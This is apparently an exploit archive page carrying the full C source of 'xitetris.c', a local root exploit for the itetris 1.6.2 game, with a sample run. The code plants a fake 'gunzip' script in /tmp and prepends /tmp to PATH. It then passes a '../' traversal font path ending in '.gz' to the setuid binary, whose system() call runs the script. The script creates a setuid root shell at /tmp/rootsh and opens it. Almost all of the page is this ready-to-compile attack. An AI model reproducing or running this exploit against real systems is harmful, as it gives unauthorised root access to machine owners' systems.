what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xitetris.c

xitetris.c
Posted Dec 19, 2000
Authored by vade79, realhalo | Site realhalo.org

Itetris v1.6.2 local root exploit - Exploits a vulnerable system() call.

tags | exploit, local, root
SHA-256 | 13a0ac0bf7a88ce8832d4b779b8bebc6e5d04c2c956942c7b7664e4ff6f8a7ac

xitetris.c

Change Mirror Download
/* (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org].  this will
give you root on systems that have the itetris game installed. the program
is installed setuid(0)/root due to svgalib. this exploits a system() call
mixed with bad ../ protection, which makes this possible -- considering it
needs a font file to end with ".gz" to run gunzip.

explaination(egafont.c):
---------------------------------------------------------------------------
[199/360]:char *FontPath, *FontPath1;
...
[237/360]:unzipped = strcasecmp(FontPath+fontheight-3, ".gz");
...
[246/360]:sprintf(FontPath1, "gunzip -c %s > %s", FontPath, tmp_file_name);
[247/360]:system(FontPath1);
---------------------------------------------------------------------------

example:
---------------------------------------------------------------------------
# cc xitetris.c -o xitetris
# ./xitetris
[ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org]. ]
[*] checking /usr/local/bin/itetris for proper file permissions.
[*] done, /usr/local/bin/itetris appears to be setuid.
[*] done, making temporary files.
[*] done, setting up environment variable(s).
[*] done, launching /usr/local/bin/itetris. (the screen may blink locally)
[*] done, cleaning up temporary files.
[*] done, checking /tmp/rootsh for proper file permissions.
[*] success! /tmp/rootsh appears to be set*id.
[?] do you wish to enter the rootshell now(y/n)?: y
[*] ok, executing rootshell(/tmp/rootsh) now.
#
---------------------------------------------------------------------------
*/
#define PATH "/usr/local/bin/itetris" // path to itetris.
#define APPENDPATH "/tmp" // tmp dir to use.
#define EXECFILE "gunzip" // don't change this.
#define FAKEFILE "xitetris.gz" // must end with .gz.
#define SUIDSHELL "/tmp/rootsh" // root shell location.
#include <stdio.h>
#include <sys/stat.h>
main(){
char cmd[256],tmpfile[256],fakefile[256],path[1024],input[0];
struct stat mod1,mod2;
FILE *suidexec,*fakegz;
fprintf(stderr,"[ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.o"
"rg]. ]\n");
fprintf(stderr,"[*] checking %s for proper file permissions.\n",PATH);
if(stat(PATH,&mod1)){
fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
exit(1);
}
else if(mod1.st_mode==35309){
fprintf(stderr,"[*] done, %s appears to be setuid.\n",PATH);
}
else{
fprintf(stderr,"[!] failed, %s doesn't appear to be setuid.\n",PATH);
exit(1);
}
fprintf(stderr,"[*] done, making temporary files.\n");
snprintf(fakefile,sizeof(fakefile),"%s/%s",APPENDPATH,FAKEFILE);
snprintf(tmpfile,sizeof(tmpfile),"%s/%s",APPENDPATH,EXECFILE);
unlink(fakefile);fakegz=fopen(fakefile,"w");fclose(fakegz);
unlink(tmpfile);suidexec=fopen(tmpfile,"w");
fprintf(suidexec,"#!/bin/sh\n");
fprintf(suidexec,"cp /bin/sh %s\n",SUIDSHELL);
fprintf(suidexec,"chown 0.0 %s\n",SUIDSHELL);
fprintf(suidexec,"chmod 6755 %s\n",SUIDSHELL);
fclose(suidexec);
chmod(tmpfile,33261);
fprintf(stderr,"[*] done, setting up environment variable(s).\n");
snprintf(path,sizeof(path),"%s:%s",APPENDPATH,getenv("PATH"));
setenv("PATH",path,1);
fprintf(stderr,"[*] done, launching %s. (the screen may blink locally)\n",
PATH);
sleep(1);
snprintf(cmd,sizeof(cmd),"%s -VE -F../../../../%s/%s 1>/dev/null 2>&1",PATH,
APPENDPATH,FAKEFILE);
system(cmd);
fprintf(stderr,"[*] done, cleaning up temporary files.\n");
unlink(fakefile);unlink(tmpfile);
fprintf(stderr,"[*] done, checking %s for proper file permissions.\n",
SUIDSHELL);
if(stat(SUIDSHELL,&mod2)){
fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",SUIDSHELL);
exit(1);
}
else if(mod2.st_mode==36333){
fprintf(stderr,"[*] success! %s appears to be set*id.\n",SUIDSHELL);
}
else{
fprintf(stderr,"[!] failed, %s doesn't appear to be set*id.\n",SUIDSHELL);
exit(1);
}
fprintf(stderr,"[?] do you wish to enter the rootshell now(y/n)?: ");
scanf("%s",input);
if(input[0]!=0x59&&input[0]!=0x79){
printf("[*] aborted, the rootshell is: %s.\n",SUIDSHELL);
}
else{
printf("[*] ok, executing rootshell(%s) now.\n",SUIDSHELL);
execl(SUIDSHELL,SUIDSHELL,0);
}
fprintf(stderr,"[*] exiting program successfully.\n");
exit(0);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close